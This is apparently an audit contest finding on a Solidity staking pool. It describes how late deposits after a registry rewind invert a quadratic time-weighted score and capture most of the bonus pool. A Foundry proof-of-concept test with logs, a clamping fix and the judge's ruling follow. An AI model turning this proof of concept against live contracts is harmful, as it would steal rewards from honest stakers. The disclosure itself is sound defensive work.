FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: low
Valid

MEV bots can drain the entire bonus pool via quadratic scoring inversion during upstream registry rewinds

Author Revealed upon completion

Description

The BattleChain ConfidencePool distributes its bonus pool using a k=2 quadratic time-weighted formula to reward early stakers. It locks riskWindowEnd when it observes a terminal state, and the score scales proportionally to (T - entryTime)^2.

The specific issue occurs when the upstream registry rewinds from PRODUCTION back to UNDER_ATTACK. This unintentionally bypasses the _assertDepositsAllowed check, allowing late deposits. A MEV bot can deposit after the rewind, securing an entry time (E) strictly greater than the locked riskWindowEnd (T). Because the formula evaluates (T - E)^2, the negative time difference is squared into a massive positive multiplier, inverting the penalty and granting the late attacker an overwhelmingly large share of the bonus pool.

// Root cause in the codebase: _assertDepositsAllowed is bypassed during UNDER_ATTACK rewind
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}
// Root cause in _bonusShare: (T - E) is squared, turning a late entry into a massive reward multiplier
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;

Risk

Likelihood:

  • Occurs deterministically whenever the upstream registry undergoes a state rewind back to UNDER_ATTACK after a terminal state has locked riskWindowEnd.

Impact:

  • Direct theft of the bonus pool (yields) that rightfully belongs to the honest early stakers who bore the actual risk.

Proof of Concept

The vulnerability works through the following steps:

  1. Initial State: An honest user (Alice) stakes early, taking on legitimate risk.

  2. Locking the Window: The registry enters an active risk state, then transitions to a terminal state (PRODUCTION), which permanently locks riskWindowEnd = 2000.

  3. The Rewind: The upstream registry rewinds back to UNDER_ATTACK. Withdrawals correctly remain disabled, but deposits are unintentionally re-allowed.

  4. The Exploit: A MEV bot (Bob) stakes at t = 5000, well after the locked riskWindowEnd.

  5. The Inversion: The pool resolves successfully. When rewards are calculated, Bob's late entry time (E=5000) is subtracted from the locked window end (T=2000). The formula (T - E)^2 squares the negative difference (2000 - 5000)^2 = 9,000,000, granting Bob 90% of the bonus pool.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import "forge-std/console.sol";
contract RewindMEVPOC is BaseConfidencePoolTest {
function testRewindMEVStealsBonusPool() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 1000 * ONE);
vm.warp(BASE_TIMESTAMP + 1000);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 2000);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(BASE_TIMESTAMP + 5000);
_stake(bob, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceReward = token.balanceOf(alice) - aliceBefore - (100 * ONE);
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobReward = token.balanceOf(bob) - bobBefore - (100 * ONE);
assertEq(bobReward, 900 * ONE);
assertEq(aliceReward, 100 * ONE);
}
}

Execution Logs:

Ran 1 test for test/unit/ConfidencePool.rewindMEV.t.sol:RewindMEVPOC
[PASS] testRewindMEVStealsBonusPool() (gas: 684837)
Logs:
Alice (honest, early) reward: 100
Bob (MEV bot, late) reward: 900

Recommended Mitigation

Ensure that newEntry is clamped to riskWindowEnd if a rewind occurs, preventing E from exceeding T and inverting the quadratic penalty.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
+ uint256 end = riskWindowEnd;
+ if (end != 0 && newEntry > end) newEntry = end;
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing riskWindowEnd rewind-latch in _assertDepositsAllowed lets late stakes/bonus theft via k=2 quadratic scoring

Impact - Medium Bonus pool only, principal always returns under SURVIVED/EXPIRED, but the quadratic advantage is unbounded and a tiny late stake can take nearly all of it. Likelihood - Low It needs a DAO registry migration to land inside the window where a pool is unresolved with riskWindowEnd already sealed, and the attacker still has to be watching. No attacker action can create the precondition.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!